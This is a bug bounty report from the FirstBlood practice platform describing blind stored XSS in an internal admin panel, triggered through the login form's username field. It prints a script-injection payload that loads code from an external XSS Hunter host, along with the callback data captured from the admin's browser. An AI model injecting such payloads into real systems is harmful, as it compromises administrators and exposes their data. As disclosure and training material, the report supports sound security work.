FirstBlood-#1319 — Blind xss on FirstBloodHackers INTERNAL ADMIN PANEL
This issue was discovered on FirstBlood v3
On 2022-12-09, didsec Level 5 reported:
Hi there
I found that the internal admin page is vulnerable to a blind xss via login attempts on login.php
Payload
"><script src="https://xss.hunter"></script>
To reproduce :
- Go to the login page
- Enter payload in the username and password fields
- Click login
impact
An attacker is able to access critical information from the admin panel.
XSS Hunter report below
URL
The URL of the page the payload fired on.
`https://firstblood-helper.com/login_attempts.php?id=683`
---
IP Address
Remote IP address of the victim.
`86.145.182.70`
---
Referer
Referring page for the vulnerable page.
`https://firstblood-helper.com/login_attempts.php`
---
User-Agent
Web browser of the victim.
`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
---
Cookies
Non-HTTPOnly cookies of the victim.
_None_
---
Title
Vulnerable page's title.
`FirstBloodHackers INTERNAL ADMIN PANEL`
---
DOM/HTML
Rendered DOM of the vulnerable page.
#### Page HTML too large to display inline, please use one of the options below.
---
Text
Text of the vulnerable page.
1
Logged in as
2
ADMINISTRATOR-SEAN
3
4
Home
5
6
Login Attempts
7
8
INTERNAL USE ONLY
9
Managing FirstBlood Login Attempts
10
The login attempt below was flagged as being potentially malicious.
11
ID Username Date Actions
12
683 ">
---
Origin
HTTP origin of the vulnerable page.
`https://firstblood-helper.com`
---
Browser Time
Reported time according to the victim's browser.
`Friday, December 9th 2022, 10:38:55 am (_1670582335223_)`
---
Other
Other miscellaneous information.
Fired in iFrame?: `false`
Vulnerability enumerated `Friday, December 9th 2022, 10:38:57 am`
Report ID: `11b4d0bb-58d4-4a76-be70-8431fe4be1e0`
P1 CRITICAL
FirstBlood ID: 72
Vulnerability Type: Stored XSS
Login attempts were logged on an internal panel on firstblood-helper.com and the username is vulnerable to blind XSS affecting FirstBlood staff
Creator & Administrator
CONGRATULATIONS, you were the first user to discover this bug based on login IDs. (although you were NOT the first to report it, I have concerns that some users modified earlier reports). You have won yourself a LIMITED edition BugBountyHunter HAT and a bounty. WELL DONE!!!